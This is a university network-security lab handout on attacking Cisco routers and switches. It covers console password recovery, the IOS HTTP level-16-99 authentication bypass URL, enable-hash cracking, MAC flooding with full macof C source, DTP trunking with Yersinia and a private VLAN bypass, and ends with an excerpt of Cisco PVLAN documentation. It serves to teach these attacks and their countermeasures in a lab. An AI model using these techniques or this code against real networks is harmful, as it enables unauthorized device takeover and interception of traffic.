ECE4112 Internetwork Security

Lab: Network Devices Security

Group Number: _________Member Names: ___________________ _______________________Authored By: Krunal Shah, Kulin Shah

Date Assigned:

Date Due:

Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions in the Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the Date Due.

Goal: This lab will introduce you to the concept of security of network devices. You will

learn about vulnerabilities that exist on these devices, the backbone and lifeline of the internet, which can so easily be exploited and certain counter measures that a sys admin would take to prevent their compromise to a certain extent.

Background: The lab gives you hands on experience on hacking into routers and

switches. This lab is important for a security expert in the sense that whenever a hacker tries to attack a network or a subnetwork, he first has to go through the default gateway of the network or default router in case of a subnetwork which is the entry point. If properly secured it acts like an extra barricade that must be overcome before getting in. However, most sys admin are ignorant and not aware of the vulnerabilities existent. This makes them the Achilles heel of networks in terms of security.

Summary: In the first section we will learn how to gain administrative privileges

assuming physical access and in the second, obtaining it through remote access. In the third section we will implement CAM overflow of switch MAC address tables. The fourth section describes a PVLAN setup and exploit on a switch while the last section deals with a vulnerability which is on by default on switches.

Pre-lab Questions:

Q > In which format are the Cisco router and switch passwords stored?

Q > Which operating systems do Cisco routers and switches use?

Section 1: Physical access compromise

Lab Scenario: For this section of the lab you will try to gain administrative privileges to

the router and switch. Once this is achieved it is possible to modify and manipulate the configuration settings. Like for the router you could modify or erase the routing table or simply bring all the interfaces down. Similarly, for a switch you could modify the mac-address tables or reconfigure VLANS to create havoc in the network. We will use the virtual XP machine and one Cisco router and switch on the playstation to carry out the attack.

For this attack we assume that the attacker has physical access to the router however does not have the knowledge of the passwords for administrative privileges. For this attack you will need a terminal emulator which will be the video interface between you (the attacker) and the router and switch console port.

1.1 Configuring Hyper – Terminal

Windows Hyper Terminal is an example of a terminal emulator. Terminals are typically synonymous with a command line shell or text terminal. A terminal window allows the user access to text terminal and all its applications such as command-line interfaces (CLI) and text user interface applications. These may be running either on the same machine or on a different one via telnet, ssh, or dial-up.

On your Windows XP machine

1). Click on programs

2). Click on Accessories

3). Select hyper terminal if available.

If it does not appear on the list of accessory programs then

1). Click on Control panel

2). Click on My Computer

3). Click on Install/Remove Programs

4). Click on Windows settings

5). Click on Communications

6). Select Hyper terminal and click apply or OK at the bottom

Enter personal information such as area code and phone number this will give a window that replicates figure 1. Select any name for the connection, select an icon, and then click OK. In the ‘Connect To’ window, change the field ‘connect using’ to COM1 or the lowest available COM port on the computer. Click OK. Configure the settings are as shown below. [9]

1) Set "Bits per second" to 9600.

2) Set "Data Bits" to 8.

3) Set "Stop Bits" to 1.

4) Set "Flow control" to none.

Click ok and ensure that the status shown in the lower left says connected. Once this is done you will need to ask the TA for the console cable which you will connect to the console port of the router and the other end to the com port of your machine. Now press enter a few times on the keyboard. You should get a prompt from the router. Once you receive this prompt, you have successfully got hyper terminal functional.

Figure1. [10]

1.2 Logging into the router

Now, using the power switch, turn the router off and then on. Send a break signal to the router within 60 seconds of the powerup. This will put the router into the ROM monitor (ROMMON) mode. The break sequence would depend on your terminal emulation program. The break signal for the HyperTerminal is (CTRL-BREAK).

Q 1.1 > What is the break signal for the Minicom terminal emulator?

1. Now you should see the ROMMON prompt.

Rommon>

*** System received an abort due to Break Key ***

signal= 0x3, code= 0x500, context= 0x813ac158PC = 0x802d0b60, Vector = 0x500, SP = 0x80006030rommon 1 > confreg 0x2142

You must reset or power cycle for new config to take effect

rommon 2 > reset

System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)Copyright (c) 1999 by cisco Systems, Inc.TAC:Home:SW:IOS:Specials for infoC2600 platform with 32768 Kbytes of main memory

program load complete, entry point: 0x80008000, size: 0x6fdb4c

Self decompressing the image : ######################################################################################################################################################################################################################################################## [OK]

Figure2.

2. Type confreg 0x2142 and press ENTER. This will set the router to boot, ignoring the configuration stored in NVRAM. Then type reset and press ENTER to reboot. When the router boots, it will display the following: [7]

--- System Configuration Dialog ---3. Skip the initial setup procedure by pressing CTRL-C.4. When the Router> prompt appears, type enable and press ENTER. Copy the NVRAM

config file into RAM with copy start run or conf mem. Then enter the configuration mode (conf t).

5. Whoa!!! Now you can change the password to whatever you want to change—for example, the enable password using the enable secret < password > command.

6. Change the configuration register back with the config-register 0x2102 command. Leave the configuration mode (CTRL-Z). Save the changes with copy run start or write mem. Reboot the router.

1.3 Hacking into the switch

For the 3550 series catalyst switches: [9]

Plug in the console cable. Set your terminal emulation program as follows:

1. Bits per second (baud): 96002. Data bits: 8

3. Parity: None

4. Stop bits: 1

Now, carefully follow out the following procedure

1. Flow control: Xon/Xoff2. Apply flow control.

3. Unplug the power cord.

4. Hold down the Mode button on the left side of the front panel of the switch when plugging in the power cable.

5. Release the Mode button after the LED above Port 1x goes out.

6. Send the break sequence to the switch within 15 seconds after reboot instead. Initialize Flash with the flash_init command.

7. Follow it with the load_helper command.

8. Type in dir flash: to view the file system and see how the configuration file is called.

9. Rename the configuration file—here's an example: rename flash:config.text flash:config.bak.

10. Issue the boot command to reboot the switch.

11. When the Continue with configuration dialog? [yes/no]: string is displayed, answer No.

12. Enter the enable command at the switch prompt. Rename the configuration file with its original name using the rename flash:config.bak flash:config.text command.

13. Copy the initial configuration back to RAM: copy flash:config.text system:running-config. Now you have a normal switch configuration and the enable prompt. You can easily modify the config—for example:

14. Switch#conf t15. Switch(config)#no enable secret16. Switch(config)#enable secret <youareowned>17. Issue the write mem command to save the modified configuration file.

Q 1.2 > Does the same switch hacking process hold true for all different Cisco switches?

Q 1.3 > What are the measures a network admin can take against this type of breach in security?

Section 2: Remote accessIn this section we will try to modify the ACLs of the edge router for an enterprise by gaining the remote access to the Cisco router. This is done by exploiting HTTP authentication vulnerability. In the real world, the first step for you will be to find out the website for the target.

2.1 Getting IP address of the target router:

In the above figure, we have got the IP address of www.google.com. Similarly, you can get the IP address of your target by using the internet databases www.arin.net. After finding the IP address we will find the edge router of the enterprise by using the traceroute command.

But, in the lab we will be using 138.210.231.0 network as the target. So we will be tracing the IP address by typing

traceroute 138.210.231.44 on your RedHat WS4 Host.

This command will show you the entire path from your host to the enterprise network. The last hop in the traceroute output will correspond to the edge router. Our aim is to get the access this edge device.

2.2 Vulnerability scanner:

We use the vulnerability scanner “nmap” to find the operating system running and the ports opened on the edge router.

nmap –O -sT <Router IP address>

Figure3.

Here the –O option is used to find the operating system of the target and the -sT option is displays the ports open.

If the O.S. detected by nmap utility is Cisco IOS that indicates the target is a Cisco router. Now, in the open ports if you see port 80 is opened, http authentication vulnerability can be exploited.

Q 2.1> What are other ways through which you can determine the IOS for the router??

Vulnerability scanners typically do a great job in identifying known vulnerabilities, but can often miss significant configuration errors. Rather, generally poor system administration leads to the compromise of more routers than software bugs. Correspondingly, a vulnerability scanner may report that everything is fine, when there are actually a couple different avenues a hacker could take in assessing the router [5].

A vulnerability that affects most Cisco router is the HTTP Configuration Arbitrary Administrative Access Vulnerability. This particular vulnerability should be found by all vulnerability scanners, and is trivial to exploit. It often yields full remote administrative control of the affected router.

Open up a browser on your local host and type in the IP address of your target router in the address field and then hit enter. A window will pop up asking for the username and password click cancel. After clicking the "Cancel" button, you will enter the following URL into the address bar.

http:/<IP address>/level/$NUMBER/exec/show/config

WHERE $NUMBER is an integer between 16 and 99, it is possible for a remote user to gain full administrative access.

That will take you to the start up configuration of the router.

2.3 Cracking the password:

Now, you can see the router configuration and the password of the administrator but it is in encrypted format. There are three methods a Cisco IOS uses to represent a password in a router config file [5]. They are:

Clear Text

Vigenere MD5

enable password password Clear Text enable password 7 104B0718071B17 Vigenere enable secret 5 $1$yOMG$38ZIcsEmMaIjsCyQM6hya0 MD5

It's implemented using the command, "enable secret 0 password ". If the password is in clear text there the field against password is the password, for vigenere the tool “GetPass” easily gets the password in clear text from the hashed form. But, MD5 is an irreversible technique and hence it is the most secure option [5].

The first thing we'll do is attempt to "crack" the enable password. It is represented in the form of an MD5 hash, which is said to be un-crackable. We're not going to attempt to decrypt the password, as this is not possible. Instead, we'll run a dictionary attack against it. In much the same way as John the Ripper plows through an /etc/shadow file, the very popular tool Cain and Abel is capable of conducting both brute-force and dictionary attacks on Cisco MD5 hashes. This tool is described as the Swiss Army Knife of cracking tools [5].

Q2.2> What are the other uses of Cain & Abel?

Mount the nas using the command

mount /mnt/nas4112

when prompted for password use “secure_class” and then download the folder lab from the nas.

Copy the cain and abel executable file to your XP virtual machine and install it.

To install:

1) Download and install Cain & Abel from http://www.oxid.it/cain.html

2) Install software and WinPcap packet capture driver

3) Reboot computer.

4) Download and install Ethereal from http://www.ethereal.com/

5) Reboot computer.

Q2.3>How to overcome HTTP Authentication Vulnerability?

Section 3: Macof attack:This attack is based on Content Addressable Memory (CAM) Overflow. The CAM table contains information such as MAC addresses available on physical ports with their associated VLAN parameters [6]. As CAM is very expensive, switches have limited amount of CAM. So, CAM Tables are of fixed size.

Figure4 [6]

We are aiming at flooding the CAM of the switches in order to spoof the traffic between different hosts not directly connected to us. So, first the host executes the macof attack and tries to flood the cam for both the switches. Once that is done from next time onwards any data packet will be broadcasted across all ports on the switch.

Figure5 [6]

Now, since switch has no learned route because of CAM flooding. The packet is broadcasted and the attacker can listen to the data being transmitted across the local network.

In this section, we used Macof tool. Macof can generate 155,000 MAC entries on a switch per minute. It took approximately 70 seconds to fill the CAM table [6]. For executing this attack, copy the dsniff folder from the lab folder to the root folder.

Install the tools by typing:

#tar zxvf libnet-1.0.2a.tar.gz

#cd Libnet-1.0.2a

#./configure && make && make install

#cd ..

#tar zxvf libnids-1.16.tar.gz

#cd libnids-1.16

#./configure && make && make install

#cd ..

#tar zxvf dsniff-2.3.tar.gz

#cd dsniff-2.3

#./configure && make

#make install

Ignore the generated errors. Although some of the dsniff files will not compile under Red Hat 7.2, the programs we will use will.

Now, go to the dsniff-2.3 folder and have a look at the file macof.c

Compile the file using gcc –o macof macof.c

Run the file by typing

./macof

For getting incite, the switch mac table before attack is shown below:

Figure6 [6]

After executing, the macof attack on one of the local host the mac table of the same switch is shown below:

Figure7 [6]

Q 3.1> Suggest some countermeasures against the macof attack?

Section 4: DTP attackQ4.1> What is DTP? [11]

Dynamic Trunking Protocol (DTP), a Cisco proprietary protocol in the VLAN group, is for negotiating trunking on a link between two devices and for negotiating the type of trunking encapsulation (802.1Q) to be used. DTP negotiates what is called a common trunking mode

between ports on two interconnected switches and needs only a simple initial one-time configuration by a network administrator. A trunking mode on Cisco Catalyst switches can be

On, or permanent trunking mode The choice between 802.1q and ISL has to be entered manually.

Off, or permanent nontrunking mode No trunk creation is possible.

Desirable Trunk creation is wanted; if the other end is configured to on, desirable, or auto mode, a trunk link would be established. Unlike the on mode, the choice between 802.1q and ISL is negotiated automatically.

Auto, also called negotiate Trunking will be successfully negotiated, if the other end is configured to on, or desirable mode.

Nonnegotiate This mode is used when the other end doesn't speak DTP, since in nonnegotiate mode, DTP frames are not sent. The other end should be manually configured for trunking (on or nonnegotiate mode).

By default, trunk ports have access to all VLANs, and this presents a security issue. If an attacker can turn a port into a trunk (by default, all switch ports are nontrunking), then all the VLANs are belong to him.

4.2 Downloading the tool to carry out attack

1. You will have to mount nas and move into the lab directory2. Copy yersenia-0.5.6.tar.gz into your home directory

3. Untar the file using tar –zxvf command

4. Move into the yersenia directory

5. Now do ./configure

6. Now make

7. Now make install

4.3 Carry out the attack [7]

This attack is implemented using Yersinia—set the interface you want to use and its parameters and execute the attack using run dtp attack

4.4 Observe the attack

yersinia# show attacks No. Protocol Attack --- -------- ------ 0 DTP enabling trunking

Figure8.

Watch the DTP frames being sent every 30 seconds.

That’s it! You may have succeeded in opening a trunk link. Start sniffing the bypassing data to verify the success of your attack.

Q 4.1> What is the counter measure against this form of attack?

Section 5: PVLAN attack

PVLANs [12] are a brand new concept used in a switch. Here basically each port is configured as PROTECTED thus within a single switch if you want isolation you would need multiple IP addresses to put them in different VLANs but with PVLAN you can isolate ports without the use of multiple IP’s. The 3550 Catalyst currently in our lab does not support this feature but other ones like the 3560 and 3750 Catalyst do support it.

5.1 LAB SCENARIO AND PVLAN SET UP [7]

Figure9. [7]

Our attacker is machine A and victim is machine B. Both are connected to the same switch and hence in the same network. A router is connected to the switch. Now let us configure the switch to form a PVLAN using

1. Switch> enable2. Password: owen3. Switch# config t4. Switch(config)#int fa 0/15. Switch(config-if)switchport protected

Similarly we do the same for machine B on interface 0/2. Now try sending a packet from A to B and you will observe that the packet is dropped.

Q 5.1> What is the advantage of configuring PVLANs?

5.2 Carrying out the attack

Now let us carry out the attack where we trick the router into forwarding the packet to the switch which in turn sends it to B.

1. We use Dsniff to generate packets. Now, what we need to do is spoof the mac address of the router. So, simply ping the router and keep ethereal on.

2. Observe the mac of the router and now put the destination mac of the packets as that of the router.

3. Use the packet generator and you will have to insert the mac into the socket code where destination mac header is present.

4. The router receives the packet and observes that it is destined to B and so forwards it to the switch after changing the source mac from that of A to itself.

5. The switch is a layer 2 device and is fooled into believing that the packet originated from outside because it has the source mac as that of the router.

Figure10. [7]

REFERENCES:

1. www.askapache.com

2. www.tech-faq.com

3. www.antionline.com

4. www.cisco.com

5. www.securityfocus.com/infocus/1734

6. “Virtual LAN Security: weaknesses and countermeasures GIAC Security Essentials Practical Assignment” - Steve A. Rouiller

7. “Hacking Exposed Cisco Security Secrets and Solutions”- Andrew A. Vladimirov, Konstantin V. Gavrilenko, Janis N. Vizulis and Andrei A. Mikhailovsky

8. www.arin.net

9. http://www.cisco.com/warp/public/474/index.shtml

10.http://www.modemsite.com/56k/x2-hyperterm.asp

11.http://www.cisco.com/en/US/tech/tk389/tk390/tk181/

tsd_technology_support_sub-protocol_home.html

12.http://www.cisco.com/warp/public/473/63.html

13. http://www.brandonhutchinson.com/installing_dsniff_2_3.html

14. http://www.yersinia.net/

APPENDIX:

CODE FOR MACOF ATTACK:

/* macof.c

C port of macof-1.1 from the Perl Net::RawIP distribution. Tests network devices by flooding local network with MAC-addresses. Perl macof originally written by Ian Vitek <ian.vitek@infosec.se>. Copyright (c) 1999 Dug Song <dugsong@monkey.org> $Id: macof.c,v 1.13 2000/09/21 03:04:41 dugsong Exp $*/

#include "config.h"

#include <sys/types.h>#include <sys/param.h>#include <stdio.h>#include <string.h>#include <err.h>#include <libnet.h>#include <pcap.h>

#include "version.h"

extern char *ether_ntoa(struct ether_addr *);extern struct ether_addr *ether_aton(char *);

in_addr_t Src = 0;in_addr_t Dst = 0;u_char *Tha = NULL;u_short Dport = 0;u_short Sport = 0;char *Intf = NULL;int Repeat = -1;

voidusage(void){

fprintf(stderr, "Version: " VERSION "\n"

"Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]""\n [-i interface] [-n times]\n");

exit(1);}

voidgen_mac(u_char *mac){

*((in_addr_t *)mac) = libnet_get_prand(PRu32);*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);

}

intmain(int argc, char *argv[]){

int c, i;struct libnet_link_int *llif;char ebuf[PCAP_ERRBUF_SIZE];u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];in_addr_t src, dst;u_short sport, dport;u_int32_t seq;u_char pkt[ETH_H + IP_H + TCP_H];

while ((c = getopt(argc, argv, "vs:d:e:x:y:i:n:h?V")) != -1) {switch (c) {case 'v':

break;case 's':

Src = libnet_name_resolve(optarg, 0);break;

case 'd':Dst = libnet_name_resolve(optarg, 0);break;

case 'e':Tha = (u_char *)ether_aton(optarg);break;

case 'x':Sport = atoi(optarg);break;

case 'y':Dport = atoi(optarg);break;

case 'i':

Intf = optarg;break;

case 'n':Repeat = atoi(optarg);break;

default:usage();

}}argc -= optind;argv += optind;

if (argc != 0)usage();

if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)errx(1, "%s", ebuf);

libnet_seed_prand();

for (i = 0; i != Repeat; i++) {

gen_mac(sha);

if (Tha == NULL) gen_mac(tha);else memcpy(tha, Tha, sizeof(tha));

if (Src != 0) src = Src;else src = libnet_get_prand(PRu32);

if (Dst != 0) dst = Dst;else dst = libnet_get_prand(PRu32);

if (Sport != 0) sport = Sport;else sport = libnet_get_prand(PRu16);

if (Dport != 0) dport = Dport;else dport = libnet_get_prand(PRu16);

seq = libnet_get_prand(PRu32);

libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);

libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);

libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512, 0, NULL, 0, pkt + ETH_H + IP_H);

libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);

if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)errx(1, "write");

fprintf(stderr, "%s ",ether_ntoa((struct ether_addr *)sha));

fprintf(stderr, "%s %s.%d > %s.%d: S %u:%u(0) win 512\n",ether_ntoa((struct ether_addr *)tha),libnet_host_lookup(Src, 0), sport,libnet_host_lookup(Dst, 0), dport, seq, seq);

}exit(0);

}

/* 5000 */

CISCO DOCUMENTATION FOR PVLAN:

http://www.cisco.com/en/US/products/hw/switches/ps700/products_tech_note09186a008013565f.shtml

Introduction

One of the key factors to building a successful network security design is to identify and enforce a proper trust model. The proper trust model defines who needs to talk to whom and what kind of traffic needs to be exchanged; all other traffic should be denied. Once the proper trust model has been identified, then the security designer should decide how to enforce the model. As more critical resources are globally available and new forms of network attacks evolve, the network security infrastructure tends to become more sophisticated, and more products are available. Firewalls, routers, LAN switches, intrusion detection systems, AAA servers, and VPNs are some of the technologies and products that can help enforce the model. Of course, each one of these products and technologies plays a particular role within the overall security implementation, and it is essential for the designer to understand how these elements can be deployed.

Before You Begin

Conventions

For more information on document conventions, see the Cisco Technical Tips Conventions.

Prerequisites

This document describes PVLAN configurations on switches running CatOS only. For side-by-side configuration examples of PVLANs on switches running Cisco IOS and CatOS, refer to the document Configuring Isolated Private VLANs on Catalyst Switches.

Not all switches and software versions support PVLANs. Refer to Private VLAN Catalyst Switch Support Matrix to determine whether your platform and software version supports PVLANs.

Components Used

This document is not restricted to specific software and hardware versions.

Background Information

Identifying and enforcing a proper trust model seems to be a very basic task, but after several years of supporting security implementations, our experience indicates that security incidents are often related to poor security designs. Usually these poor designs are a direct consequence of not enforcing a proper trust model, sometimes because what is just necessary is not

understood, other times just because the technologies involved are not fully understood or are misused.

This document explains in detail how two features available in our Catalyst switches, Private VLANs (PVLANs) and VLAN Access Control Lists (VACLs), can help ensure an adequate trust model in both enterprise as well as service provider environments.

Importance of Enforcing a Proper Trust Model

An immediate consequence of not enforcing an adequate trust model is that the overall security implementation becomes less immune to malicious activities. Demilitarized Zones (DMZs) are commonly implemented without enforcing the right policies, thus facilitating the activity of a potential intruder. This section analyzes how DMZs are often implemented and the consequences of a poor design. We will later explain how to mitigate, or in the best case avoid, these consequences.

Usually, DMZ servers are only supposed to process incoming requests from the Internet, and eventually initiate connections to some back-end servers located at an inside or other DMZ segment, such as a database server. At the same time, DMZ servers are not supposed to talk to each other or initiate any connections to the outside world. This clearly defines the necessary traffic flows in a simple trust model; however, we often see this kind of model not adequately enforced.

Designers usually tend to implement DMZs using a common segment for all servers without any control over the traffic between them. For example, all servers are located in a common VLAN. Since nothing is controlling the traffic within the same VLAN, if one of the servers is compromised, then the same server can be exploited to source an attack to any of the servers and hosts in the same segment. This clearly facilitates the activity of a potential intruder conducting a port redirection or Application Layer attack.

Typically, firewalls and packet filters are only used to control incoming connections, but nothing is usually done to restrict connections originated from the DMZ. Some time ago there was a well-known vulnerability in a cgi-bin script that allowed an intruder to begin an X-term session by just sending an HTTP stream; this is traffic that should be allowed by the firewall. If the intruder was lucky enough, he or she could use another treat to get a root prompt, typically some kind of buffer overflow attack. Most of the times, these kinds of problems can be avoided by enforcing a proper trust model. First, servers are not supposed to talk to each other, and second no connections should be originated from these servers to the outside world.

The same comments apply to many other scenarios, going from any regular un-trusted segment up to server farms at application service providers.

PVLANs and VACLs on Catalyst switches can help ensure a proper trust model. PVLANs will help by restricting the traffic between hosts in a common segment, while VACLs will contribute by providing further control over any traffic flow originated or destined to a particular segment. These features are discussed in the following sections.

Private VLANs

PVLANs are available on the Catalyst 6000 running CatOS 5.4 or later, on the Catalyst 4000, 2980G, 2980G-A, 2948G, and 4912G running CatOS 6.2 or later.

From our perspective, PVLANs are a tool that allows segregating traffic at Layer 2 (L2) turning a broadcast segment into a non-broadcast multi-access-like segment. Traffic that comes to a switch from a promiscuous port (that is, a port that is capable of forwarding both primary and secondary VLANs) is able to go out on all the ports that belong to the same primary VLAN. Traffic that comes to a switch from a port mapped to a secondary VLAN (it can be either an isolated, a community, or a two-way community VLAN) can be forwarded to a promiscuous port or a port belonging to the same community VLAN. Multiple ports mapped to the same isolated VLAN cannot exchange any traffic.

The following image shows the concept.

Figure 1: Private VLANs

The primary VLAN is represented in blue; the secondary VLANs are represented in red and yellow. Host-1 is connected to a port of the switch that belongs to the secondary VLAN red. Host-2 is connected to a port of the switch that belongs to the secondary VLAN yellow.

When a host is transmitting, the traffic is carried in the secondary VLAN. For example, when Host-2 transmits, its traffic goes on VLAN yellow. When those hosts are receiving, the traffic comes from the VLAN blue, which is the primary VLAN.

The ports where routers and firewalls are connected are promiscuous ports because those ports can forward traffic coming from every secondary VLAN defined in the mapping as well as the primary VLAN. The ports connected to each hosts can only forward the traffic coming from the primary VLAN and the secondary VLAN configured on that port.

The drawing represents the private VLANs as different pipes that connect routers and hosts: the pipe that bundles all the others is the primary VLAN (blue), and the traffic on VLAN blue flows from the routers to the hosts. The pipes internal to the primary VLAN are the secondary VLANs, and the traffic traveling on those pipes is from the hosts towards the router.

As the image is showing, a primary VLAN can bundle one or more secondary VLANs.

Earlier in this document we said PVLANs help enforce the proper trust model by simply ensuring the segregation of hosts within a common segment. Now that we know more about Private VLANs, let us see how this can be implemented in our initial DMZ scenario. Servers are not supposed to talk to each other, but they still need to talk to the firewall or router to which they are connected. In this case, servers should be connected to isolated ports while routers and firewalls should be attached to promiscuous ports. By doing this, if one of the servers is compromised, the intruder won't be able to use the same server to source an attack to another server within the same segment. The switch will drop any packet at wire speed, without any performance penalty.

Another important note is that this kind of control can only be implemented at the L2 device because all servers belong to the same subnet. There is nothing a firewall or router can do since servers will try to communicate directly. Another option is to dedicate a firewall port per server, but this is likely too expensive, difficult to implement, and does not scale.

In a later section, we describe in detail some other typical scenarios in which you can use this feature.

VLAN Access Control Lists

VACLs are available on the Catalyst 6000 series running CatOS 5.3 or later.

VACLs can be configured on a Catalyst 6500 at L2 without the need for a router (you only need a Policy Feature Card (PFC) ). They are enforced at wire speed so there is no performance penalty in configuring VACLs on a Catalyst 6500. Since the lookup of VACLs is performed in hardware, regardless of the size of the access list, the forwarding rate remains unchanged.

VACLs can be mapped separately to primary or secondary VLANs. Having a VACL configured on a secondary VLAN allows filtering the traffic originated by hosts without touching the traffic generated by routers or firewalls.

By combining VACLs and Private VLANs it is possible to filter traffic based on the direction of the traffic itself. For example, if two routers are connected to the same segment as some hosts (servers for example), VACLs can be configured on secondary VLANs so that only the traffic generated by the hosts is filtered while the traffic exchanged between the routers is untouched.

VACLs can be easily deployed to enforce the proper trust model. Let's analyze our DMZ case. Servers at the DMZ are supposed to serve incoming connections only, and they are not expected to initiate connections to the outside world. A VACL can be applied to their secondary VLAN in order to control the traffic leaving these servers. It is crucial to note that when using VACLs, the traffic is dropped in hardware so there is no impact on the CPU of the router nor of the switch. Even in the case that one of the servers is involved in a Distributed Denial of Service (DDoS) attack as a source, the switch will drop all illegitimate traffic at wire speed, without any performance penalty. Similar filters can be applied in the router or firewall where servers are connected to, but this usually has severe performance implications.

Known Limitations of VACLs and PVLANs

When configuring filtering with VACLs, you should be careful with regard to the fragment handling on the PFC, and that the configuration is tuned according to the specification of the hardware.

Given the hardware design of the PFC of the Supervisor 1 of the Catalyst 6500, it is better to explicitly deny the icmp fragments. The reason is that Internet Control Message Protocol (ICMP) fragments and echo-reply are considered the same by the hardware, and by default the hardware is programmed to explicitly permit fragments. So if you want to stop echo-reply packets from leaving the servers, you explicitly have to configure this with the line deny icmp any any fragment. The configurations in this document take this into account.

There is a well-known security limitation to PVLANs, which is the possibility that a router forwards traffic back out of the same subnet from which it came. A router can route traffic across isolated ports defeating the purpose of PVLANs. This limitation is due to the fact that PVLANs are a tool that provides isolation at L2, not at Layer 3 (L3).

Unicast Reverse Path Forwarding (uRPF) does not work well with PVLAN host ports, so uRPF must not be used in combination with PVLAN.

There is a fix to this problem, which is achieved by means of VACLs configured on the primary VLANs. The case study provides the VACLs that need to be configured on the primary VLAN to drops the traffic originated by the same subnet and routed back to the same subnet.

On some line cards, the configuration of PVLAN mappings / maps / trunking ports is subject to some restrictions where multiple PVLAN mappings have to belong to different port Application-Specific Integrated Circuits (ASICs) in order to get configured. Those restrictions are removed on the new port ASIC Coil3. Please refer to the latest Catalyst switch documentation on software configuration for these details